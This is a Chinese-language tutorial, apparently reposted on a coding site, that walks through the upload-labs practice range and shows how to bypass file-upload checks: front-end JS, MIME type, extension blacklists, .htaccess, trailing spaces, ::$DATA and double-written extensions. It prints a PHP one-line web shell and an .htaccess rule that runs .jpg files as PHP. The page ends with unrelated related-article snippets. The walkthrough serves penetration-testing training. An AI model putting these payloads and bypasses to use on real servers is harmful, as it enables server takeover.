文件上传漏洞-上篇

一、概述

文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞,用它获得服务器权限最快最直接。在web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制基至服务器论陷。,复杂一点的情况是配合webserver的解析漏洞来获取控制权或结合文件包含漏洞。

靶场搭建

github地址:https://github.com/c0ny1/upload-labs
下载解压完整后,放入Apache服务www根目录中
访问网址:http://localhost/upload-labs/
image.png

二、文件上传前端检测绕过

漏洞利用方式

一句话木马
<?php @eval($_POST['cmd']);?>

前端检测绕过-Pass-01
  1. 分析
    1. 使用JS进行编写
    2. 文件验证代码编写在前端
  2. 上传一句话木马
    1. 步骤:编写好一句话木马文件,现将木马修改为可以验证通过的文件文件格式,在进行抓包。
    2. 修改前:

image.png

  1. 修改后并放行

image.png

  1. 访问地址:http://10.196.93.67/upload-labs/upload/3.php
  2. image.png
  3. 使用中国蚂剑连接webShell
    1. 打开软件》鼠标右键添加数据》输入信息》点击添加

image.png

  1. 连接成功

image.png

三、文件上传mime类型检测绕过

简介

常见的mime类型对比网址:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
image.png

示例:Pass-02

  1. 分析
    1. 第二关可以采用第一关方法进行获取webshell
    2. 第二关主要是后端的mime类型验证,并没有进行前端验证
    3. 通关方法:通过抓包获取到后端的mime类型,将其修改为自己想要的格式既可。
  2. 步骤:
    1. 先将a.php中包含的一句话木马上传的服务中,并抓包

image.png

  1. 修改Content-Type值为服务器需要的值既可。

image.png

四、黑名单绕过

说明

黑名单通常是在后端中定义了一个文件类型的数组,当用户上传文件后,后端会将上传的文件名进行过滤和格式化等操作,最后判断文件名后缀是否存在于文件后缀中,若存在则限制上传。

# 示例代码
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?>

示例:Pass-3

  1. 修改Apache的配置文件:httpd.conf,并重启服务
AddType application/x-httpd-php .php .phtml .php3 .php3

image.png

  1. 绕过方式:将上传的木马文件后缀修改为以前老版本可以识别(大概率成功)。如(php3,php4,phtml…)
    1. image.png
  2. 验证
    1. 文件路径:http://10.196.93.67/upload-labs/upload/202406210044594306.php3
    2. image.png

五、.htaccess绕过

简介

.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。

示例:Pass-4

  1. 创建一个.htaccess文件并编写内容

image.png

# AddType application/x-httpd-php .php .phtml .php3 .php3# 表示: 将jpg文件当做php文件解析
AddType application/x-httpd-php .jpg
  1. 第一步上传.htaccess文件

image.png

  1. 第二步上传包含一句话木马的jpg文件

image.png

  1. 验证
    1. 文件地址:http://10.196.93.67/upload-labs/upload/3.jpg

image.png

六、空格绕过

示例:Pass-6

操作步骤:

  1. 第一步:在本地创建一个a.php 的文件
  2. 第二步:正常上上传并抓包
    1. 正常结果:

image.png

  1. 添加空格
    1. 添加空格

image.png

七、::$data绕过

介绍

在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是,在windows NT文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加::$DATA来访问。

示例:Pass-8

image.png
image.png
image.png

八、点空点绕过

猜测后端只过滤一次,所以多写一次注入文件,从而达到需要效果。

示例:Pass-9

image.png
image.png

九、双写绕过

函数讲解

str_ireplace(['php'],"","pphphp")
# 结果:php

image.png

示例:Pass-10

上传将php后缀修改为:pphphp既可。
image.png
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/31572.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

G1的收集流程

G1&#xff08;Garbage-First&#xff09;收集器的垃圾收集流程相对复杂&#xff0c;涉及多个阶段和算法。以下是G1收集器的基本收集流程&#xff1a; 初始标记阶段&#xff08;Initial Marking&#xff09;&#xff1a; 这是一个短暂的STW&#xff08;Stop-The-World&#xff…

大数据学习-Hive

介绍 分布式 SQL 计算 做数据的统计分析&#xff0c;SQL 是最方便的工具 在大数据中&#xff0c;有很多的统计分析场景&#xff0c;那么 SQL 来处理大数据是非常合适且频繁的 以后可能就是 SQL Boy 了&#xff0c;所以学习前需要有 MySQL 的基础 Hive 的功能 是一个分布式…

【软件测试入门】测试用例经典设计方法 — 因果图法

&#x1f345; 视频学习&#xff1a;文末有免费的配套视频可观看 &#x1f345; 点击文末小卡片 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 一、因果图设计测试用例的步骤 1、分析需求 阅读需求文档&#xff0c;如果User Case很复杂&am…

测试技术初阶

1.测试用例设计 黑盒测试用例 等价类边界值因果图判定表正交试验场景分析状态图错误推断 白盒测试用例 语句覆盖判定覆盖条件覆盖条件/判定覆盖条件组合覆盖修正判定条件覆盖点覆盖边覆盖路径覆盖 2基础体验评测 功能体验 完备性准确性易用性易学性展示样式任务路径竞手对比兼…

小程序业务逻辑回忆2

1.用户下单购票业务 购票业务中可购选4中票,普通票、学生票、vip贵宾票、指定日票。购票类型用ticket_id 进行区分,每种类型票用户都可以购买 n张,但是用户只能激活一张,其他票可用于转增。 用户下单购票时首先以user_id创建order表&#xff0c;然后用工具类生成订单号&…

k8s_服务发现专题

在 Kubernetes 中,服务发现(Service Discovery)是指如何在集群内不同的应用程序或服务之间找到并与其他服务通信。Kubernetes 提供了内置的服务发现机制,通过服务(Service)和 DNS 解析来实现。这使得在集群内部署和管理应用程序变得更加方便和高效。 我们带着以下问题开…

css恢复默认样式

重置样式为浏览器默认样式&#xff1b; .element-reset {all: revert;outline-style: revert !important;-webkit-appearance: revert !important; }<input type"button" value"跳转" class"element-reset" />

java构建一个OA审批系统

构建一个完整的OA审批系统涉及多个模块&#xff0c;包括用户管理、权限控制、审批流程设计以及前端界面等。以下是一个综合性的示例&#xff0c;展示了如何整合这些模块并实现基本功能。 ### 数据库设计 首先&#xff0c;定义一些基本的数据库表结构&#xff0c;用于存储用户…

芜湖市各地企业技术中心补助指南 附镜湖鸠江技术中心申报奖励+认定条件周期+流程

芜湖市各地企业技术中心申报周期 省企业技术中心的认定&#xff0c;原则上每年进行一次。各市经济和信息化主管部门根据省经济和信息化厅通知要求报送申请材料&#xff0c;受理截止日期以当年工作通知为准。 芜湖市各地企业技术中心补助汇编 市级&#xff08;2023年兑现政策…

电商项目测试实战之购物车页面用例设计

&#x1f345; 视频学习&#xff1a;文末有免费的配套视频可观看 &#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 一、购物车页面 二、购物车页面测试范围列表 三、购物车页面功能点需求分析 四、部分功能点的测试…

vscode CMAKE 配置调试

概述 记录使用VSCODE中的CMAKE拓展构建项目时出现的报错 CMakePresets.json&#xff1a; {"version": 6,"configurePresets": [{"name": "x64-debug","displayName": "x64-debug","cmakeExecutable":…

Hi3861 OpenHarmony嵌入式应用入门--中断按键

本篇讲解gpio的中断使用方式。 硬件原理图如下&#xff0c;与上一篇一样的电路 GPIO API API名称 说明 hi_u32 hi_gpio_init(hi_void); GPIO模块初始化 hi_u32 hi_io_set_pull(hi_io_name id, hi_io_pull val); 设置某个IO上下拉功能。 hi_u32 hi_gpio_set_dir(hi_gpio_…

cefsharp 修改请求头request.Headers,以实现某种请求验证(v100+已测试)含主要源码和注释

(一)目的:cefsharp实现修改请求头 Tip:网上搜的很多代码都无法实现(要么版本较低,方法有变,要么就行不通),较多的错误是:集合属性只读。其中一个bili网友的测试方法注解一张图,但没有具体代码。参考一下。 (二)实现方法 2.1 创建对象 ChromiumWebBrowser home…

数据库精选题(二)(引言+关系代数)

&#x1f308; 个人主页&#xff1a;十二月的猫-CSDN博客 &#x1f525; 系列专栏&#xff1a; &#x1f3c0;数据库 &#x1f4aa;&#x1f3fb; 十二月的寒冬阻挡不了春天的脚步&#xff0c;十二点的黑夜遮蔽不住黎明的曙光 目录 前言 常见概念 一、什么是数据库&#xf…

axi4 总线之 axi-full 学习记录

ARSIZE&#xff1a;读突发大小&#xff0c;给出每次突发传输的字节数支持 1、2、4、8、16、32、64、128 ARSIZE 字节数3b00013b00123b01043b01183b100163b101323b110643b111128 ARLEN&#xff1a;8 位&#xff0c;读传输的突发长度。 AXI3 只支持1~16次的突发传输&#xff08;B…

【Git】撤销远程仓库的提交(push)

参考&#xff1a;Git 撤销远程仓库的提交&#xff08;push&#xff09;和本地仓库的提交&#xff08;commit&#xff09;_git 撤销远程提交-CSDN博客 git reset --soft 想要撤销后的版本号 git push origin master -f soft 要撤销的本地代码不会变化&#xff0c;只是git仓库指…

神舟电脑怎么清理缓存文件?介绍几种简单有效方法

随着日常使用神舟电脑的时间增长&#xff0c;各种缓存文件、临时文件以及无用的数据会逐渐堆积&#xff0c;这不仅占据了宝贵的磁盘空间&#xff0c;还可能拖慢系统的运行速度&#xff0c;影响我们的使用体验。因此&#xff0c;定期清理神舟电脑中的缓存文件变得至关重要。本文…

Vue3插件安装

一、volar插件安装 volar&#xff1a;Vue文件的语法提示和高亮提醒。volar已经更名为Vue - Official&#xff0c;其安装步骤如下。 (1)打开vscode&#xff0c;点击扩展面板&#xff0c;在搜索窗口中输入volar&#xff0c;选择Vue - Official进行安装。 &#xff08;2&#xff0…

hpcpack指定节点计算

HPCPack是微软的高性能计算(HPC)解决方案之一&#xff0c;它可以用于在指定的集群节点上进行计算任务。在使用HPCPack时&#xff0c;你可以通过指定节点名称来限制任务运行的位置。 以下是一个示例&#xff0c;展示了如何在HPCPack作业脚本中指定节点计算&#xff1a; <?…

AJAX中get和post的区别

在AJAX&#xff08;Asynchronous JavaScript and XML&#xff09;中&#xff0c;GET 和 POST 是两种常用的HTTP请求方法&#xff0c;它们之间存在一些关键的区别。以下是这些区别的主要点&#xff1a; 请求的目的&#xff1a; GET&#xff1a;通常用于从服务器检索&#xff08;…